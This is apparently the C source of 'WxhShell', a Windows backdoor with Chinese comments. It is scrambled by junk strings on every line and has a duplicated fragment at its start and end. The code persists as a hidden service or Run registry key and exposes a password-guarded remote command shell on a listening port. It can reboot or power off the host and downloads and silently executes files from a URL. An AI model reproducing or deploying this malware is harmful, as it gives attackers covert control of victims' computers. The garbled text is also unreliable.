WL]Wu.k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )M|O;~q if(NULL == hInst ) return 0; ^Xt]wl*]+ H;b'"./ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P}.yEta g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]6i_d NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wj ^)%wq@Hi if (!NtQueryInformationProcess) return 0; a-UD_|! (Ay4B*|! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g O\f:Pg if(!hProcess) return 0; |aOnV,} nCSd:1DY if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D/!eov4" Js^r]=\F' CloseHandle(hProcess); W:;` mXN1b! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l+3%%TV@L if(hProcess==NULL) return 0; &a2V-|G', n_!]B_Vd$ HMODULE hMod; ([4{n char procName[255]; f Dm}J unsigned long cbNeeded; u[6`Jr~ k{u%p < if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j.yr5% oN1wrf}Sh CloseHandle(hProcess); l66ipgw_^I no\}aTx if(strstr(procName,"services")) return 1; // 以服务启动 ;>QK}#' WkU)I2oH return 0; // 注册表启动 Tr}$Pb1 } S9ak ' 9{]r+z: // 主模块 ay7+H7^|hZ int StartWxhshell(LPSTR lpCmdLine) *{D:1S { W0uM?J\O SOCKET wsl; f'zFg["aZS BOOL val=TRUE; \PtC int port=0; XR=c
8f struct sockaddr_in door; E6wST@r @u'27c_<d3 if(wscfg.ws_autoins) Install(); +D{*L0$D" \ /X!tlwxh port=atoi(lpCmdLine); .o,51dn+ s ekk&TTp# if(port<=0) port=wscfg.ws_port; ?` ZGM ZC\.};. WSADATA data;
"ppb%= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o4I!VK(C#s fb=$<0Ocj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PB3!; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VkP:%-*#v door.sin_family = AF_INET; A](}"Pi!n door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?D$b%G{ door.sin_port = htons(port); s%TO(vT @*`UOgP7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |{|r?3 closesocket(wsl); G]3ML)l return 1; ^$s~qQQ}B } Iz$W3#hi J'Mgj$T $ if(listen(wsl,2) == INVALID_SOCKET) { 5)zh@aJ@ closesocket(wsl); .]P;fCQmM return 1; |EEz>ci } S
bqM=I+ Wxhshell(wsl); p~zTRnm WSACleanup(); a518N*]j o!_; H}pq return 0; Q j~W-^/ - (9[C0e S } G>{:D'# $E@.G1T [ // 以NT服务方式启动 -9<yB VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,tv9+n@x { Ai_|) DWORD status = 0; q!h*3mNm DWORD specificError = 0xfffffff; 8!fAv$g0 hu*>B serviceStatus.dwServiceType = SERVICE_WIN32; %IH|zSr)EM serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9oau_Q# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )1yUV*6 serviceStatus.dwWin32ExitCode = 0; ujHzG}2z serviceStatus.dwServiceSpecificExitCode = 0; ZtK%b+MBP serviceStatus.dwCheckPoint = 0; .gsu_N_v serviceStatus.dwWaitHint = 0; KL\=:iWA $=g.-F%*= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rxK[CDM, if (hServiceStatusHandle==0) return; d~f0]O <IkD=X status = GetLastError(); rpP+20 v if (status!=NO_ERROR) YHv,Z|.w { MVU'GHv serviceStatus.dwCurrentState = SERVICE_STOPPED; U!UX"r serviceStatus.dwCheckPoint = 0; qxCL serviceStatus.dwWaitHint = 0; 2d J)4 serviceStatus.dwWin32ExitCode = status; `r0
qn'* serviceStatus.dwServiceSpecificExitCode = specificError; n7!Lwq2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); % |Gzht\ return; X|lmH{kf } \U => 28qWC~/9 serviceStatus.dwCurrentState = SERVICE_RUNNING; 8 P y_Y> serviceStatus.dwCheckPoint = 0; DdZ_2B2 serviceStatus.dwWaitHint = 0; `YU:kj<6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \7w85$ } n_NG~/x (=/L#Yg_ // 处理NT服务事件,比如:启动、停止 ~9jP++& VOID WINAPI NTServiceHandler(DWORD fdwControl) &IPK5o, { 73Zs/ switch(fdwControl) Nm :lC%>X { 2o3k=hKS case SERVICE_CONTROL_STOP: GQAg
ex)D serviceStatus.dwWin32ExitCode = 0; ^|12~d_.T serviceStatus.dwCurrentState = SERVICE_STOPPED; Y%cA2V\#m serviceStatus.dwCheckPoint = 0; 7Z :l;%]K serviceStatus.dwWaitHint = 0; P*=3$-` { l8Iy03H SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7(iRz } hQLx"R$ return; E0%Y%PQ**{ case SERVICE_CONTROL_PAUSE: jl%eO. serviceStatus.dwCurrentState = SERVICE_PAUSED; 1UWgOCc break; EC\:uK case SERVICE_CONTROL_CONTINUE: k#G7`dJl serviceStatus.dwCurrentState = SERVICE_RUNNING; (dnc7KrM break; K]Cs2IpI case SERVICE_CONTROL_INTERROGATE: iK0J{' break; >bP7}T }; a_MnQ@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); QF6JZQh< } F&j|Y>m p"
W0$t. // 标准应用程序主函数 ^7<m lr int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &y wY?ox { e~[z]GLO% d33Nx)No // 获取操作系统版本 7027@M?A? OsIsNt=GetOsVer(); `5jB|r/ GetModuleFileName(NULL,ExeFile,MAX_PATH); dllf~:b fszeJS}Dw // 从命令行安装 &=O1Qg=K if(strpbrk(lpCmdLine,"iI")) Install(); AS^$1i: /3%xQK>% // 下载执行文件 mK/P4]9g if(wscfg.ws_downexe) { &jd<rs5} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }ZGpd9D WinExec(wscfg.ws_filenam,SW_HIDE); &8L\FAY0%9 } TTak[e&j3 3Ya6yz if(!OsIsNt) { k$- q;VI // 如果时win9x,隐藏进程并且设置为注册表启动 Eu~wbU"% HideProc(); JU+'UK630 StartWxhshell(lpCmdLine); KftM4SFbK } Pu*UZcXY else |VF"Cjw? if(StartFromService()) X,CFY // 以服务方式启动 LMj'?SuH StartServiceCtrlDispatcher(DispatchTable); nECf2>Yp v else N2Hb19/k // 普通方式启动 \`# 0,pLr StartWxhshell(lpCmdLine); ofv
1G=P %+J*oFwQu return 0; S*@0%|Q4r } U MIZ:*j =xP{f<` .Q@'O b` V2skr_1 =========================================== [)c|oh% 84cH|j`w =i %w_e RL8wSK ?saVk7Z[|5 Bq`kVfx " <cjTn:w aBLb i #include <stdio.h> L#bQ`t #include <string.h> ay[*b_f #include <windows.h> M&-/&>n! #include <winsock2.h> "A3xX&9-q #include <winsvc.h> l_EI7mJ #include <urlmon.h> A2S9h,t =_3qUcOP #pragma comment (lib, "Ws2_32.lib") vH8%a8V #pragma comment (lib, "urlmon.lib") ]iX$p~riH Rj=Om #define MAX_USER 100 // 最大客户端连接数 _@76eZd #define BUF_SOCK 200 // sock buffer j)*nE./3 #define KEY_BUFF 255 // 输入 buffer 5nb6k,+E 6[7k}9`alz #define REBOOT 0 // 重启 IQv>{h} #define SHUTDOWN 1 // 关机 o)WSMV(&f ,Yz+?SmSZ& #define DEF_PORT 5000 // 监听端口 =1Jo-!{{ VHNiTp #define REG_LEN 16 // 注册表键长度 x*V<afLY[ #define SVC_LEN 80 // NT服务名长度 NDGBvb )Cfrqe1^ // 从dll定义API +2O_LPV$, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4N:
;Mo&B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6>J#M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _gh7_P^H=d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3/05ee;| Bk<P~-I // wxhshell配置信息 4VgDN(n0@ struct WSCFG { P^-9?uBno int ws_port; // 监听端口 #IDCCD^1= char ws_passstr[REG_LEN]; // 口令 ^123.Ru|t int ws_autoins; // 安装标记, 1=yes 0=no w7u >|x! char ws_regname[REG_LEN]; // 注册表键名 `$- Ib^ char ws_svcname[REG_LEN]; // 服务名 )FPbE^s( char ws_svcdisp[SVC_LEN]; // 服务显示名 d5hE!= char ws_svcdesc[SVC_LEN]; // 服务描述信息 s ~G{-)* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OK(d& int ws_downexe; // 下载执行标记, 1=yes 0=no 4y.[tk5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "<#:\6aym char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Df^S77&c! P#PQ4uK \ }; ?Pc3*. p7er04/}\ // default Wxhshell configuration BZ9iy~ struct WSCFG wscfg={DEF_PORT, Bs}>#I "xuhuanlingzhe", Q8i6kf! 1, {c;3$ "Wxhshell", dW68lVWq_ "Wxhshell", ]+P&Y: "WxhShell Service", W9"I++~f "Wrsky Windows CmdShell Service", =ndKG5 "Please Input Your Password: ", ak[)+_k_ 1, @( l`_Wx "http://www.wrsky.com/wxhshell.exe", ?f&I"\y "Wxhshell.exe" :~Y$\Ww(~ }; R3A^VE;qP 5{Wl(jwb // 消息定义模块 RkzBn char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T:$_1I $ char *msg_ws_prompt="\n\r? for help\n\r#>"; bk]|C!7$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,vPF=wq char *msg_ws_ext="\n\rExit."; w3D_ c~ char *msg_ws_end="\n\rQuit."; K-3 _4As char *msg_ws_boot="\n\rReboot..."; HxaUVg0 char *msg_ws_poff="\n\rShutdown..."; z^.0eP8\j char *msg_ws_down="\n\rSave to "; M-Bw9`#Jw ~JpUO~i/ char *msg_ws_err="\n\rErr!"; #C^m>o~R char *msg_ws_ok="\n\rOK!"; Q
# gHD X $f%Ss char ExeFile[MAX_PATH]; %3j5Q int nUser = 0; )VC) } HANDLE handles[MAX_USER]; PQ>JoRs int OsIsNt; T^_9R; D2bUSRrb SERVICE_STATUS serviceStatus; L_,U*Jyo SERVICE_STATUS_HANDLE hServiceStatusHandle; jL SZ#H 0J~4
// 函数声明 xJCpWU3wM int Install(void); xTT>3Fj int Uninstall(void); xFZq6si? int DownloadFile(char *sURL, SOCKET wsh); s? Kn,6Y int Boot(int flag); }T,uw8?f! void HideProc(void); >YLm]7v} int GetOsVer(void); v&n&i? int Wxhshell(SOCKET wsl); g%trGW3{- void TalkWithClient(void *cs); 3QpTO, int CmdShell(SOCKET sock); tS$Ne7yk e int StartFromService(void); 4KCxhJq int StartWxhshell(LPSTR lpCmdLine); L@XeAEIq e=2D^G#qE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F*f)Dv$p VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]_s]Q_+E sXu]k#I^" // 数据结构和表定义 lS^0*(Y SERVICE_TABLE_ENTRY DispatchTable[] = DZue.or { s><co] {wscfg.ws_svcname, NTServiceMain}, AM>:AtY {NULL, NULL} JFZ p^{ }; P*>V6SK>b 8{C3ijR // 自我安装 Tx*m
p+q int Install(void) #82B`y<<y/ { hlRE\YO&8R char svExeFile[MAX_PATH]; Y{KJk'xN5W HKEY key; -MjRFa strcpy(svExeFile,ExeFile); \"SI-`x L6^h3*JyD // 如果是win9x系统,修改注册表设为自启动 Ty=}A MMyE if(!OsIsNt) { kbY@Y,:w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [C$ 0HW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #_d%hr~d RegCloseKey(key); }1V&(#H2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $dR%8@.H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XebCl{HHp RegCloseKey(key); uT1x\Rt|e return 0; _D~a4tgS } k{~5pxd-t } Y*Pr } 8/:\iPk0 else { Q*I/mUP&f p.G7Cs // 如果是NT以上系统,安装为系统服务 X_lNnk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nB.p}k if (schSCManager!=0) ]arP6iN+ { !duR7a SC_HANDLE schService = CreateService EO5Vg ( gP3[=a"\ schSCManager, b{&@Lm0Tn wscfg.ws_svcname, ?Rdi"{.wI wscfg.ws_svcdisp, o! 8X< o SERVICE_ALL_ACCESS, Z]tz<YSkG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \4ZQop SERVICE_AUTO_START, wQ5__"D SERVICE_ERROR_NORMAL, yC[}gHv svExeFile, %9j]N$.V NULL, C.@TX
NULL, 6
Qmtb2 NULL, gisZmu0 NULL, M-NR!? 9 NULL jAu/]
HZx ); c&Dy{B! if (schService!=0) 5J,vH[E { \m<*3eS CloseServiceHandle(schService); IY'S<)vOY CloseServiceHandle(schSCManager); rZLMYM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +mJAIjH strcat(svExeFile,wscfg.ws_svcname); >_@J&vC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FW2} 9#R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OHU(?TBo RegCloseKey(key); >a<;)K^1 return 0; \?j(U8mB> } *d=pK*g } @c.pOX[]m, CloseServiceHandle(schSCManager); %vW@_A~ } VD4( } x-[l`k.V M-n +3E9 return 1; 8g3 6-8 } gY%-0@g ,-):&V:jF // 自我卸载 u URf int Uninstall(void) Pu=YQ
#F' { J? C"be= HKEY key; K$4Ky&89
=_5-z|< if(!OsIsNt) { ]]+"`t,- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p|zW2L RegDeleteValue(key,wscfg.ws_regname); x`4">:IA RegCloseKey(key); [8ih-k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o.,hCg)X RegDeleteValue(key,wscfg.ws_regname); 8O]$)E RegCloseKey(key); |q?A8@\u return 0; ^W^%PJD| } [|vdr. } b<%6aRC\ } 37VSE@Z+ else { .k}h'nE )/UkJ/}j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qk((H~I} if (schSCManager!=0) d;`JDT { ZPXxrmq% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s\@!J.Da if (schService!=0) hUqIjc uL4 { 5( 3tPbm{ if(DeleteService(schService)!=0) { GE|V^_|i CloseServiceHandle(schService); vV%w#ULxE~ CloseServiceHandle(schSCManager); G3q\Z`|3h return 0; u
BvN*LQ } =oBV.BST u CloseServiceHandle(schService); E;yP.<PW } ig6F!p CloseServiceHandle(schSCManager); b YiaJ } YQ]W<0( } env]*gx+= :V&#Oo return 1; -LUKYGBK } )<%GHDWL Ay[6rUO // 从指定url下载文件 iNcB6,++ int DownloadFile(char *sURL, SOCKET wsh) 06ZyR@.@v { uT_bA0jK HRESULT hr; lwSA!W char seps[]= "/"; k/>k&^? char *token; d-X<+&VZ char *file; v81<K*w`P char myURL[MAX_PATH]; $%ps:ui~X char myFILE[MAX_PATH]; y\S}U{*Z' YH@^6Be9 strcpy(myURL,sURL); +d<o2n4! token=strtok(myURL,seps); eGjEO&$ while(token!=NULL) fnB[b[ { :M3Fq@w= file=token; *&XOzaVU token=strtok(NULL,seps); g/eE^o~; } Hi#hf"V R,8;GS42 GetCurrentDirectory(MAX_PATH,myFILE); P9BShC5 strcat(myFILE, "\\"); RK< uAiU strcat(myFILE, file); >HyZ~M send(wsh,myFILE,strlen(myFILE),0); V3
2F send(wsh,"...",3,0); XsEDI?p2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 09/Mg if(hr==S_OK) `KB; 3L return 0; 6YNd;,it>p else L\aG.\ return 1; }gete'I 5y0N }} } wZ0RI{)s' X3@Uih}| // 系统电源模块 ;O+=
6>W int Boot(int flag) nH_M# { )1N~-VuT HANDLE hToken; Dr)B0]KG TOKEN_PRIVILEGES tkp; ',P$m&z OQ&l/|{O0? if(OsIsNt) { 0.+MlyA OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G
.NGS%v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZwM(H[iqL tkp.PrivilegeCount = 1; -e(e;e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `p#tx.o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zcjh if(flag==REBOOT) { lxf+$Z`~: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *lc|iq\ return 0; LtW}R4}3 } ?L x*MJZ else { W^k95%zBM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fS?}(7 return 0; \ ,D>zF } a]]eQ(xQ } 3?5JY;}h>" else { l|v`B6( if(flag==REBOOT) { S"HdjEF7\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I'}&s|6 return 0; JVydTvc } #x*\dL else { ~bf4_5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H%pD9'q~ return 0; 2{|Z?3FJ^ } DaP,3>M } AT%6K. $+w:W85B return 1; T5|e\<l } rny(8z%Ck- 5:|9pe) // win9x进程隐藏模块 Np7+g`nG void HideProc(void) tTOBKA89 { pmRm&VgE. KrdEB0qh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f YSH]! if ( hKernel != NULL ) [4w*<({* { agt/;>q\~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hsn'" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C~Hhi-Xl) FreeLibrary(hKernel); ijP`fM8 } w p\-LO~ Qp7h|< return; 1J([*) } =WT&unw} \#4mPk_" // 获取操作系统版本 fqjBor} int GetOsVer(void) Me79:+d { S4\a"WYg OSVERSIONINFO winfo; +-C.E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bgLa`8 GetVersionEx(&winfo); FY<Q|Ov if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zZ6m`]{B9? return 1; %_."JT$v{ else EQN)y27poW return 0; tk]D)+{u&c } i\<S ; k4a51[SYBK // 客户端句柄模块 _3(rwD int Wxhshell(SOCKET wsl) Unvl~lm6 { \3OEC` SOCKET wsh; Ge_fU'F struct sockaddr_in client; +5S>"KAUt0 DWORD myID; @^T~W^+ p#).;\M while(nUser<MAX_USER) ?7}ybw3t] { D=Q.Q int nSize=sizeof(client); >$7x]f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hr;^.a^ if(wsh==INVALID_SOCKET) return 1; ;plBo%EBV ![;={d0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SIapY%)h if(handles[nUser]==0) 1RJFPv closesocket(wsh); K[kK8i+( else ^3[_4av nUser++; 6se8`[ } *?BY+0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +j{(NwsX TG[u3Y4 return 0; -'Ay(h } qCg<g u$yXuFj/ // 关闭 socket f";pfu_FZ void CloseIt(SOCKET wsh) [I=|"Ic~ { rCwE$5
b closesocket(wsh); i,h 30J nUser--; FY^2 Y ExitThread(0); Q66 + } cef[T(> +N=HI1^54R // 客户端请求句柄 "]#Ij6ml void TalkWithClient(void *cs) t5%cpkgh4 { 2HtsSS#0Q T:u>7?8o SOCKET wsh=(SOCKET)cs; s]%Cz \ char pwd[SVC_LEN]; f[1cN`|z char cmd[KEY_BUFF]; E/g"}yR char chr[1]; s>m2qSu int i,j; VxBBZsZO~ ;+<IWDo while (nUser < MAX_USER) { }%p:Xv@X! I%u 2 ce if(wscfg.ws_passstr) { I<O$);DV' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @oE
5JM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O`c+y //ZeroMemory(pwd,KEY_BUFF); RI@\cJ\} i=0; T/\RViG3 while(i<SVC_LEN) { y QClq{A x>}ml\R // 设置超时 "aOs#4N fd_set FdRead; RqgN<&g? struct timeval TimeOut; U xBd14-R_ FD_ZERO(&FdRead); kzKej"a; FD_SET(wsh,&FdRead); Ec!!9dgRQ TimeOut.tv_sec=8; (oi:lC@h* TimeOut.tv_usec=0; ]:OrGD" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B~w$j/sWU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,U3 N$6e KJ] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yy88 5 pwd=chr[0]; Q]YB.n3 if(chr[0]==0xd || chr[0]==0xa) { }:m/@LKB pwd=0; IplOXD break; *Jgi=,!m } 8
MQq3 i++; )GkJ%o#H2 } T9
/;$6s* cc|W1,q // 如果是非法用户,关闭 socket 5E\.YqdV if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "iA0hA } 3]l)uoNt/ k5I;Y:~` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [3jJQ3O, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F{0\a;U@^ !l9{R8m>eJ while(1) { /?eVWCR 7v*gwBH ZeroMemory(cmd,KEY_BUFF); ZeP=}0TGjn zY*9M3(X // 自动支持客户端 telnet标准 Qs elW] j=0; j|t=%* while(j<KEY_BUFF) { 3[ xdls if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ECOJ .^ cmd[j]=chr[0]; e0TYHr)X>3 if(chr[0]==0xa || chr[0]==0xd) { }:0_%=)N< cmd[j]=0; ob\-OMNs@ break; K6kz{R%` } inWLIXC,
j++; ,X.[37 } z:>cQUYl fOV_ >]u // 下载文件 ,AP0*Ln if(strstr(cmd,"http://")) { GGp.u@\r send(wsh,msg_ws_down,strlen(msg_ws_down),0); uzBQK if(DownloadFile(cmd,wsh)) sp,-JZD send(wsh,msg_ws_err,strlen(msg_ws_err),0); oX|T&"& else e9o\qEm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xqt?z n } F_Y]>,U else { BS9VwG<Z 7%y$^B7{ switch(cmd[0]) { $ln8Cpbca BpZ~6WtBq // 帮助 lL}NiN-)t case '?': { 'X;cgAq8( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (`1io break; G-d7}Uz? } hzo> :U // 安装 "'U^8NA2 case 'i': { 4>d4g\Z0L if(Install()) $G".PWc send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q;]JVT1 else KqK]R6> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ymz/: break; YzESVTh } pF{jIXu // 卸载 [Fl_R[o case 'r': { )9hqd if(Uninstall()) WC#6(H5t$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); V&*IZt& else ,8e'<y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .PB!1C.}@ break; o{PG&
}K } rfqwxr45h // 显示 wxhshell 所在路径 Pk;\^DRC case 'p': { `D4Wg<,9 char svExeFile[MAX_PATH]; -c_l
n K strcpy(svExeFile,"\n\r"); x3q^}sj% strcat(svExeFile,ExeFile); y
bhFDx send(wsh,svExeFile,strlen(svExeFile),0); 731Lz*IFg break; @7Ec(]yp } f/)Y {kS6 // 重启 ui%#f1Iq case 'b': { 5T x4u%g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q`9.@u@ a if(Boot(REBOOT)) ^&qK\m_A send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,b*?7R else { CD&a_-'z$K closesocket(wsh); $94lF~ ExitThread(0); y\T$) XGV } tgF~5
o}? break; U#z"t&o=L }
0t7N yKU // 关机 c,a8#Og case 'd': { ^B<-.(F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K2xB%m1LK if(Boot(SHUTDOWN)) H8eEBMGo send(wsh,msg_ws_err,strlen(msg_ws_err),0); %g9ym@s else { 0z>IYw|UB closesocket(wsh); `=(<!nXJx ExitThread(0); C
m:AU; } bBi>BP= break; ),x0G*oebj } }b4 56J // 获取shell %3`*)cp@ case 's': { t/[2{'R4 CmdShell(wsh); dcf,a<K\ closesocket(wsh); jr`swyg ExitThread(0); !]F`qS> break; o@)Fy51DD } \l/(L5gY // 退出 m6i ,xn case 'x': { &{Z+p(3Gj send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DGHSyB^+1 CloseIt(wsh); c}@E@Y`@w break; K*:=d}^ } T\gs // 离开 Fl)nmwOc case 'q': { %e:+@%] send(wsh,msg_ws_end,strlen(msg_ws_end),0); EID-ROMO closesocket(wsh); F$UL.`X
_/ WSACleanup(); 1)~|{X+~ exit(1); O C&BJNOi break; x// uF } W>TG?hH } e)}E&D;${ } Fg`<uW]TFZ p*<Jg l // 提示信息 /we]i1-9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -53c0g@X } =X'[r } ~i1
jh:, Uh.swBC n return;
:q/s%`ob } o33t~@ RX w[GEm,ZC // shell模块句柄 Zq4%O7% int CmdShell(SOCKET sock) N^QxqQ~
{ f/dJRcDl< STARTUPINFO si; y(DT^>0 ZeroMemory(&si,sizeof(si)); ^li3*#eT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G&h@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F:jNv3W1 PROCESS_INFORMATION ProcessInfo; +(!/(2>~ char cmdline[]="cmd"; >a975R*g CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \:@6(e Bh return 0; Wrp~OF0k } y{M7kYWtHV r1HG$^ // 自身启动模式 Kb]}p int StartFromService(void) >~ *wPoW { ,|*Gr"Q= typedef struct "EpH02{i { ,x\qYz+7| DWORD ExitStatus; %vO(.A+ DWORD PebBaseAddress; *$O5.`] DWORD AffinityMask; Lx_Jw\YO DWORD BasePriority; qb;b.P?~D$ ULONG UniqueProcessId; @tSB^&jUWu ULONG InheritedFromUniqueProcessId; |cd"cx+ } PROCESS_BASIC_INFORMATION; W$X/8K bn %f CkR`: PROCNTQSIP NtQueryInformationProcess; >K'dgJ245 uG -+&MU? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '9QEG/v static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %e[E@H 7 B9,39rG/7+ HANDLE hProcess; jwjLxt PROCESS_BASIC_INFORMATION pbi; ;HCK iHC -~c-mt HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q&0`(okb if(NULL == hInst ) return 0; F=Xb_Gd` 3rK\
f4' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *ELU">!}G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j=pg5T NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v2tVq_\AMx 8d$|JN;) if (!NtQueryInformationProcess) return 0; xbi\KT`~ ZklO9Ox( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |*48J1:1y if(!hProcess) return 0; jW7ffb
`O ;o'>`=Y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K bQXH!J xq.kH| bH CloseHandle(hProcess); 5`3x(=b r?u4[
Oe# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }8AH/ if(hProcess==NULL) return 0; tQG'f*4 GH':Yk HMODULE hMod; ];CIo>
